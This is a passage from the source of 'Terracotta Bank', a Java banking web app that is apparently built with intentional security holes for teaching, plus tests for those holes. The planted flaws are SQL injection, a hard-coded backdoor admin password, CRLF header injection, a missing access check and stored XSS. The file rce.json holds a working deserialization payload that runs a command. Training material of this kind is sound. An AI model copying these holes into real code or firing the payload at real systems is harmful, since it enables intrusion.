java.sql.SQLException; 19 | import java.util.Set; 20 | 21 | import com.joshcummings.codeplay.terracotta.model.Message; 22 | import org.springframework.stereotype.Service; 23 | 24 | /** 25 | * This class makes Terracotta Bank vulnerable to SQL injection 26 | * attacks because it concatenates queries instead of using 27 | * bind variables. 28 | * 29 | * @author Josh Cummings 30 | */ 31 | @Service 32 | public class MessageService extends ServiceSupport { 33 | public Set findAll() { 34 | return runQuery("SELECT * FROM messages", (rs) -> { 35 | try { 36 | return new Message(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5)); 37 | } catch ( SQLException e ) { 38 | throw new IllegalStateException(e); 39 | } 40 | }); 41 | } 42 | 43 | public void addMessage(Message message) { 44 | runUpdate("INSERT INTO messages (id, name, email, subject, message) VALUES ('" + 45 | message.getId() + "','" + message.getName() + "','" + message.getEmail() + "','" + 46 | message.getSubject() + "','" + message.getMessage() + "')"); 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /src/vulnerability-test/java/com/joshcummings/codeplay/terracotta/SiteStatisticsFunctionalTest.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta; 17 | 18 | import org.apache.http.client.methods.CloseableHttpResponse; 19 | import org.testng.Assert; 20 | import org.testng.annotations.Test; 21 | 22 | import static org.apache.http.client.methods.RequestBuilder.get; 23 | import static org.apache.http.client.methods.RequestBuilder.post; 24 | 25 | public class SiteStatisticsFunctionalTest extends AbstractEmbeddedTomcatSeleniumTest { 26 | 27 | @Test 28 | public void testAdminLoginForPrivilegeEscalation() throws Exception { 29 | 30 | String jsessionIdCookie = http.session(); 31 | 32 | // attempt to register the system user 33 | 34 | try (CloseableHttpResponse response = 35 | http.post(post("/register") 36 | .addParameter("registerUsername", "system") 37 | .addParameter("registerPassword", "password") 38 | .addParameter("registerEmail", "system@password.com") 39 | .addParameter("registerName", "Backdoor Registration"))) { 40 | } 41 | 42 | // can I get to the backoffice pages now? 43 | 44 | try (CloseableHttpResponse response = 45 | http.getForEntity(get("/siteStatistics") 46 | .addHeader("Cookie", jsessionIdCookie))) { 47 | 48 | Assert.assertEquals(403, response.getStatusLine().getStatusCode()); 49 | } 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/servlet/AdminLoginServlet.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.servlet; 17 | 18 | import com.joshcummings.codeplay.terracotta.model.User; 19 | 20 | import javax.servlet.ServletException; 21 | import javax.servlet.http.HttpServlet; 22 | import javax.servlet.http.HttpServletRequest; 23 | import javax.servlet.http.HttpServletResponse; 24 | import java.io.IOException; 25 | 26 | /** 27 | * This class is vulnerable to Brute Force attacks because 28 | * it contains a trojan, or a backdoor login. 29 | * 30 | * @author Josh Cummings 31 | */ 32 | public class AdminLoginServlet extends HttpServlet { 33 | private static final User SUPER_USER = 34 | new User("-1", "system", "backoffice", "System User", "system@terracottabank.com"); 35 | 36 | @Override 37 | protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 38 | if ( SUPER_USER.getPassword().equals(req.getParameter("password")) ) { 39 | req.getSession().setAttribute("authenticatedUser", SUPER_USER); 40 | resp.sendRedirect(req.getContextPath() + "/siteStatistics"); 41 | } else { 42 | resp.setStatus(401); 43 | } 44 | } 45 | 46 | @Override 47 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 48 | req.getRequestDispatcher("/adminLogin.html").forward(req, resp); 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /src/vulnerability-test/java/com/joshcummings/codeplay/terracotta/CheckLookupFunctionalTest.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta; 17 | 18 | import com.joshcummings.codeplay.terracotta.testng.XssCheatSheet; 19 | import org.openqa.selenium.Alert; 20 | import org.openqa.selenium.By; 21 | import org.openqa.selenium.NoAlertPresentException; 22 | import org.testng.Assert; 23 | import org.testng.annotations.AfterClass; 24 | import org.testng.annotations.BeforeClass; 25 | import org.testng.annotations.Test; 26 | 27 | public class CheckLookupFunctionalTest extends AbstractEmbeddedTomcatSeleniumTest { 28 | @BeforeClass(alwaysRun=true) 29 | public void doLogin() { 30 | login("john.coltraine", "j0hn"); 31 | } 32 | 33 | @AfterClass(alwaysRun=true) 34 | public void doLogout() { 35 | logout(); 36 | } 37 | 38 | @Test(groups="web") 39 | public void testCheckLookupForXSS() { 40 | for ( String template : new XssCheatSheet(true) ) { 41 | goToPage("/"); 42 | 43 | try { 44 | String checkLookupNumber = String.format(template, "checkLookupNumber"); 45 | 46 | driver.findElement(By.name("checkLookupNumber")).sendKeys(checkLookupNumber); 47 | 48 | driver.findElement(By.name("lookup")).submit(); 49 | 50 | Alert alert = switchToAlertEventually(driver, 2000); 51 | Assert.fail(getTextThenDismiss(alert)); 52 | } catch ( NoAlertPresentException e ) { 53 | // okay! 54 | } 55 | } 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /src/test/java/com/joshcummings/codeplay/terracotta/AdminLoginFunctionalTest.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta; 17 | 18 | import org.openqa.selenium.By; 19 | import org.openqa.selenium.WebElement; 20 | import org.testng.Assert; 21 | import org.testng.annotations.AfterMethod; 22 | import org.testng.annotations.Test; 23 | 24 | import static org.apache.http.client.methods.RequestBuilder.post; 25 | 26 | public class AdminLoginFunctionalTest extends AbstractEmbeddedTomcatSeleniumTest { 27 | @AfterMethod(alwaysRun=true) 28 | public void doLogout() { 29 | logout(); 30 | } 31 | 32 | @Test(groups="data") 33 | public void testValidLogin() { 34 | String content = http.postForContent(post("/adminLogin") 35 | .addParameter("username", "admin") 36 | .addParameter("password", "backoffice")); 37 | 38 | Assert.assertTrue(content.contains("Welcome, system.")); 39 | } 40 | 41 | @Test(groups="data") 42 | public void testLoginPage() { 43 | goToPage("/adminLogin"); 44 | 45 | // Find the username and password input fields 46 | WebElement usernameField = driver.findElement(By.name("username")); 47 | WebElement passwordField = driver.findElement(By.name("password")); 48 | 49 | // Assert that the username and password fields exist 50 | Assert.assertNotNull(usernameField); 51 | Assert.assertNotNull(passwordField); 52 | } 53 | 54 | } 55 | -------------------------------------------------------------------------------- /src/main/resources/static/js/custom.js: -------------------------------------------------------------------------------- 1 | 2 | // NIVO LIGHTBOX 3 | $('.iso-box-section a').nivoLightbox({ 4 | effect: 'fadeScale', 5 | }); 6 | 7 | // ISOTOPE FILTER 8 | jQuery(document).ready(function($){ 9 | 10 | if ( $('.iso-box-wrapper').length > 0 ) { 11 | 12 | var $container = $('.iso-box-wrapper'), 13 | $imgs = $('.iso-box img'); 14 | 15 | 16 | 17 | $container.imagesLoaded(function () { 18 | 19 | $container.isotope({ 20 | layoutMode: 'fitRows', 21 | itemSelector: '.iso-box' 22 | }); 23 | 24 | $imgs.load(function(){ 25 | $container.isotope('reLayout'); 26 | }) 27 | 28 | }); 29 | 30 | //filter items on button click 31 | 32 | $('.filter-wrapper li a').click(function(){ 33 | 34 | var $this = $(this), filterValue = $this.attr('data-filter'); 35 | 36 | $container.isotope({ 37 | filter: filterValue, 38 | animationOptions: { 39 | duration: 750, 40 | easing: 'linear', 41 | queue: false, 42 | } 43 | }); 44 | 45 | // don't proceed if already selected 46 | 47 | if ( $this.hasClass('selected') ) { 48 | return false; 49 | } 50 | 51 | var filter_wrapper = $this.closest('.filter-wrapper'); 52 | filter_wrapper.find('.selected').removeClass('selected'); 53 | $this.addClass('selected'); 54 | 55 | return false; 56 | }); 57 | 58 | } 59 | 60 | }); 61 | 62 | 63 | // HIDE MOBILE MENU AFTER CLIKING ON A LINK 64 | $('.navbar-collapse a').click(function(){ 65 | $(".navbar-collapse").collapse('hide'); 66 | }); 67 | 68 | 69 | // SCROLLTO THE TOP 70 | $(document).ready(function() { 71 | // Show or hide the sticky footer button 72 | $(window).scroll(function() { 73 | if ($(this).scrollTop() > 200) { 74 | $('.go-top').fadeIn(200); 75 | } else { 76 | $('.go-top').fadeOut(200); 77 | } 78 | }); 79 | // Animate the scroll to top 80 | $('.go-top').click(function(event) { 81 | event.preventDefault(); 82 | 83 | $('html, body').animate({scrollTop: 0}, 300); 84 | }) 85 | }); -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/metrics/RequestClassificationFilter.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.metrics; 17 | 18 | import javax.servlet.Filter; 19 | import javax.servlet.FilterChain; 20 | import javax.servlet.FilterConfig; 21 | import javax.servlet.ServletException; 22 | import javax.servlet.ServletRequest; 23 | import javax.servlet.ServletResponse; 24 | import javax.servlet.http.HttpServletResponse; 25 | import java.io.IOException; 26 | 27 | /** 28 | * This filter makes Terracotta Bank vulnerable to CLRF injection because 29 | * it doesn't validate and encode {@code classification} before including 30 | * it as a header. 31 | * 32 | * @author Josh Cummings 33 | */ 34 | //@WebFilter(value="/*", dispatcherTypes={ DispatcherType.REQUEST, DispatcherType.FORWARD, DispatcherType.ERROR }) 35 | public class RequestClassificationFilter implements Filter { 36 | 37 | @Override 38 | public void init(FilterConfig filterConfig) { } 39 | 40 | @Override 41 | public void doFilter( 42 | ServletRequest req, 43 | ServletResponse resp, 44 | FilterChain chain) 45 | throws IOException, ServletException { 46 | 47 | String classification = req.getParameter("c"); 48 | if ( resp instanceof HttpServletResponse ) { 49 | HttpServletResponse response = (HttpServletResponse) resp; 50 | response.setHeader("X-Terracotta-Classification", classification); 51 | } 52 | 53 | chain.doFilter(req, resp); 54 | } 55 | 56 | @Override 57 | public void destroy() { } 58 | } 59 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/model/User.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.model; 17 | 18 | import java.io.Serializable; 19 | 20 | /** 21 | * This class isn't safe to serialize and also may 22 | * leak the user's password into the String pool. 23 | * 24 | * @author Josh Cummings 25 | */ 26 | public class User implements Serializable { 27 | private static final long serialVersionUID = 1L; 28 | 29 | private final String id; 30 | private final String username; 31 | private final String password; 32 | private final String name; 33 | private final String email; 34 | private boolean isAdmin; 35 | 36 | public User(String id, String username, String password, String name, String email) { 37 | this.id = id; 38 | this.username = username; 39 | this.password = password; 40 | this.name = name; 41 | this.email = email; 42 | } 43 | 44 | public User(String id, String username, String password, String name, String email, boolean isAdmin) { 45 | this.id = id; 46 | this.username = username; 47 | this.password = password; 48 | this.name = name; 49 | this.email = email; 50 | this.isAdmin = isAdmin; 51 | } 52 | 53 | 54 | public String getId() { 55 | return id; 56 | } 57 | 58 | public String getUsername() { 59 | return username; 60 | } 61 | 62 | public String getPassword() { 63 | return password; 64 | } 65 | 66 | public String getName() { 67 | return name; 68 | } 69 | 70 | public String getEmail() { 71 | return email; 72 | } 73 | 74 | public boolean isAdmin() { 75 | return isAdmin; 76 | } 77 | } 78 | -------------------------------------------------------------------------------- /src/test/java/com/joshcummings/codeplay/terracotta/LoginFunctionalTest.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta; 17 | 18 | import org.openqa.selenium.By; 19 | import org.testng.Assert; 20 | import org.testng.annotations.AfterMethod; 21 | import org.testng.annotations.Test; 22 | 23 | import static org.apache.http.client.methods.RequestBuilder.post; 24 | 25 | public class LoginFunctionalTest extends AbstractEmbeddedTomcatSeleniumTest { 26 | @AfterMethod(alwaysRun=true) 27 | public void doLogout() { 28 | logout(); 29 | } 30 | 31 | @Test(groups="web") 32 | public void testLoginNoPassword() throws InterruptedException { 33 | 34 | String content = http.postForContent(post("/login") 35 | .addParameter("username", "admin") 36 | .addParameter("password", "blah")); 37 | 38 | Assert.assertTrue(content.contains("provided is incorrect")); 39 | } 40 | 41 | @Test(groups="data") 42 | public void testValidLogin() { 43 | String content = http.postForContent(post("/login") 44 | .addParameter("username", "admin") 45 | .addParameter("password", "admin")); 46 | 47 | Assert.assertTrue(content.contains("Welcome, Admin Admin!")); 48 | } 49 | 50 | @Test(groups="http") 51 | public void testLoginRedirect() throws InterruptedException { 52 | goToPage("/?relay=http://honestsite.com/"); 53 | 54 | driver.findElement(By.name("username")).sendKeys("admin"); 55 | driver.findElement(By.name("password")).sendKeys("admin"); 56 | driver.findElement(By.name("login")).submit(); 57 | 58 | Thread.sleep(2000); 59 | 60 | Assert.assertEquals(driver.getCurrentUrl(), "http://honestsite.com/", "You got redirected to: " + driver.getCurrentUrl()); 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/servlet/MessagesServlet.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.servlet; 17 | 18 | import com.joshcummings.codeplay.terracotta.model.Message; 19 | import com.joshcummings.codeplay.terracotta.service.MessageService; 20 | 21 | import javax.servlet.ServletException; 22 | import javax.servlet.http.HttpServlet; 23 | import javax.servlet.http.HttpServletRequest; 24 | import javax.servlet.http.HttpServletResponse; 25 | import java.io.IOException; 26 | import java.util.Set; 27 | 28 | /** 29 | * This class is not protected as it should be in that it is a 30 | * page for employees, but does not ensure that the user has 31 | * employee privileges to show it. 32 | * 33 | * @author Josh Cummings 34 | */ 35 | //@WebServlet("/showMessages") 36 | public class MessagesServlet extends HttpServlet { 37 | private static final long serialVersionUID = 1L; 38 | 39 | private MessageService messageService; 40 | 41 | public MessagesServlet(MessageService messageService) { 42 | this.messageService = messageService; 43 | } 44 | 45 | protected void doGet( 46 | HttpServletRequest request, 47 | HttpServletResponse response) throws ServletException, IOException { 48 | 49 | if ( request.getAttribute("authenticatedUser") == null ) 50 | { 51 | String relay = request.getRequestURL().toString(); 52 | response.sendRedirect(request.getContextPath() + "/employee.jsp?relay=" + relay); 53 | } 54 | else 55 | { 56 | Set messages = this.messageService.findAll(); 57 | request.setAttribute("messages", messages); 58 | request.getRequestDispatcher("/WEB-INF/messages.jsp").forward(request, response); 59 | } 60 | } 61 | } 62 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/servlet/ContactUsServlet.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta.servlet; 17 | 18 | import com.joshcummings.codeplay.terracotta.model.Message; 19 | import com.joshcummings.codeplay.terracotta.service.MessageService; 20 | 21 | import javax.servlet.ServletException; 22 | import javax.servlet.http.HttpServlet; 23 | import javax.servlet.http.HttpServletRequest; 24 | import javax.servlet.http.HttpServletResponse; 25 | import java.io.IOException; 26 | 27 | /** 28 | * This class makes Terracotta Bank vulnerable to persisted Cross-Site Scripting 29 | * attacks because it does not validate and encode the email contents before 30 | * persisting into the database. 31 | * 32 | * @author Josh Cummings 33 | */ 34 | //@WebServlet("/contactus") 35 | public class ContactUsServlet extends HttpServlet { 36 | private static final long serialVersionUID = 1L; 37 | 38 | private Long nextMessageId = 2L; 39 | 40 | private MessageService messageService; 41 | 42 | public ContactUsServlet(MessageService messageService) { 43 | this.messageService = messageService; 44 | } 45 | 46 | 47 | /** 48 | * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response) 49 | */ 50 | protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 51 | String name = request.getParameter("contactName"); 52 | String email = request.getParameter("contactEmail"); 53 | String subject = request.getParameter("contactSubject"); 54 | String message = request.getParameter("contactMessage"); 55 | Message m = new Message(String.valueOf(nextMessageId++), name, email, subject, message); 56 | this.messageService.addMessage(m); 57 | } 58 | 59 | } 60 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ### Terraform 2 | 3 | # Local .terraform directories 4 | **/.terraform/* 5 | 6 | # .tfstate files 7 | *.tfstate 8 | *.tfstate.* 9 | 10 | # Crash log files 11 | crash.log 12 | crash.*.log 13 | 14 | # Exclude all .tfvars files, which are likely to contain sensitive data, such as 15 | # password, private keys, and other secrets. These should not be part of version 16 | # control as they are data points which are potentially sensitive and subject 17 | # to change depending on the environment. 18 | *.tfvars 19 | *.tfvars.json 20 | 21 | # Ignore override files as they are usually used to override resources locally and so 22 | # are not checked in 23 | override.tf 24 | override.tf.json 25 | *_override.tf 26 | *_override.tf.json 27 | 28 | # Include override files you do wish to add to version control using negated pattern 29 | # !example_override.tf 30 | 31 | # Include tfplan files to ignore the plan output of command: terraform plan -out=tfplan 32 | # example: *tfplan* 33 | 34 | # Ignore CLI configuration files 35 | .terraformrc 36 | terraform.rc 37 | 38 | ### Java 39 | 40 | # Compiled class file 41 | *.class 42 | 43 | # Log file 44 | *.log 45 | 46 | # BlueJ files 47 | *.ctxt 48 | 49 | # Mobile Tools for Java (J2ME) 50 | .mtj.tmp/ 51 | 52 | # Package Files # 53 | *.jar 54 | *.war 55 | *.nar 56 | *.ear 57 | *.zip 58 | *.tar.gz 59 | *.rar 60 | 61 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml 62 | hs_err_pid* 63 | replay_pid* 64 | 65 | ### Gradle 66 | .gradle 67 | **/build/ 68 | !src/**/build/ 69 | 70 | # Ignore Gradle GUI config 71 | gradle-app.setting 72 | 73 | # Avoid ignoring Gradle wrapper jar file (.jar files are usually ignored) 74 | !gradle-wrapper.jar 75 | 76 | # Avoid ignore Gradle wrappper properties 77 | !gradle-wrapper.properties 78 | 79 | # Cache of project 80 | .gradletasknamecache 81 | 82 | # Eclipse Gradle plugin generated files 83 | # Eclipse Core 84 | .project 85 | # JDT-specific (Eclipse Java Development Tools) 86 | .classpath 87 | 88 | ### Jenv 89 | .java-version 90 | 91 | ### Contrast-Specific 92 | contrast_security.yaml 93 | contrast.jar 94 | contrast.env 95 | contrast.sarif 96 | 97 | ### Cache 98 | **/cache/ 99 | 100 | ### MacOS 101 | .DS_Store 102 | 103 | ### Package Files 104 | jre/ 105 | 106 | ### Gitleaks 107 | gitleaks.toml 108 | 109 | ### VSCode 110 | .vscode/ -------------------------------------------------------------------------------- /src/vulnerability-test/resources/serialization/rce.json: -------------------------------------------------------------------------------- 1 | { 2 | "username" : 3 | ["org.apache.xalan.xsltc.trax.TemplatesImpl", 4 | { 5 | "transletBytecodes":["yv66vgAAADQAOwoAAwAgBwA2BwAjBwAkAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQArTGphY2tzb24vVGVtcGxhdGVzVXRpbCRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBABJUZW1wbGF0ZXNVdGlsLmphdmEMAAoACwcAJQEAKWphY2tzb24vVGVtcGxhdGVzVXRpbCRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAVamFja3Nvbi9UZW1wbGF0ZXNVdGlsAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAJwEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACkAKgoAKAArAQAQamF2YS9sYW5nL1N0cmluZwcALQEACGNhbGMuZXhlCAAvAQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMADEAMgoAKAAzAQANU3RhY2tNYXBUYWJsZQEAHnlzb3NlcmlhbC9Qd25lcjI5MTQ2MjQwMzI4MzIwMAEAIEx5c29zZXJpYWwvUHduZXIyOTE0NjI0MDMyODMyMDA7AQAvb3JnL2FwYWNoZS94YWxhbi94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHADgKADkAIAAhAAIAOQABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwA6sQAAAAIADQAAAAYAAQAAADgADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAQAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgABABMAGQABAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAARAAOAAAAKgAEAAAAAQAPADcAAAAAAAEAFQAWAAEAAAABABoAGwACAAAAAQAcAB0AAwAIACYACwABAAwAAAArAAYAAgAAABanAAMBTLgALAS9AC5ZAxIwU7YANFexAAAAAQA1AAAAAwABAwACAB4AAAACAB8AEQAAAAoAAQACACEAEAAJ"], 6 | "transletName":"foo", 7 | "outputProperties":{} 8 | } 9 | ] 10 | } -------------------------------------------------------------------------------- /src/test/java/com/joshcummings/codeplay/terracotta/TransferMoneyFunctionalTest.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, 12 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | * See the License for the specific language governing permissions and 14 | * limitations under the License. 15 | */ 16 | package com.joshcummings.codeplay.terracotta; 17 | 18 | import org.openqa.selenium.By; 19 | import org.testng.Assert; 20 | import org.testng.ITestContext; 21 | import org.testng.annotations.AfterClass; 22 | import org.testng.annotations.BeforeClass; 23 | import org.testng.annotations.Test; 24 | 25 | public class TransferMoneyFunctionalTest extends AbstractEmbeddedTomcatSeleniumTest { 26 | @BeforeClass(alwaysRun=true) 27 | public void doLogin(ITestContext ctx) { 28 | System.out.println("Logging in b4 trying to transfer money"); 29 | login("john.coltraine", "j0hn"); 30 | } 31 | 32 | @AfterClass(alwaysRun=true) 33 | public void doLogout() { 34 | System.out.println("Logging out After trying to transfer money"); 35 | logout(); 36 | } 37 | 38 | @Test(groups="web") 39 | public void testTransferMoney() throws InterruptedException { 40 | goToPage("/"); 41 | 42 | driver.findElement(By.name("toAccountNumber")).sendKeys("987654321"); 43 | driver.findElement(By.name("transferAmount")).sendKeys("10"); 44 | driver.findElement(By.name("transfer")).submit(); 45 | 46 | Thread.sleep(5000); 47 | 48 | String s = driver.findElement(By.cssSelector("#transfer > div.messages")).getText(); 49 | 50 | Assert.assertEquals(s, "Transferred!"); 51 | } 52 | 53 | @Test(groups="web") 54 | public void testLookupCheck() throws InterruptedException { 55 | goToPage("/"); 56 | 57 | findElementEventually(driver, By.name("checkLookupNumber"), 2000).sendKeys("456"); 58 | driver.findElement(By.name("checkLookupNumber")).submit(); 59 | 60 | 61 | Thread.sleep(2000); 62 | 63 | String s = driver.findElement(By.cssSelector("#lookup > div.messages")).getText(); 64 | 65 | Assert.assertEquals(s, "Bad Request"); 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /src/main/java/com/joshcummings/codeplay/terracotta/servlet/EmployeeLoginServlet.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright 2015-2018 Josh Cummings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); 5 | * you may not use this file except in compliance with the License. 6 | * You may obtain a copy of the License at 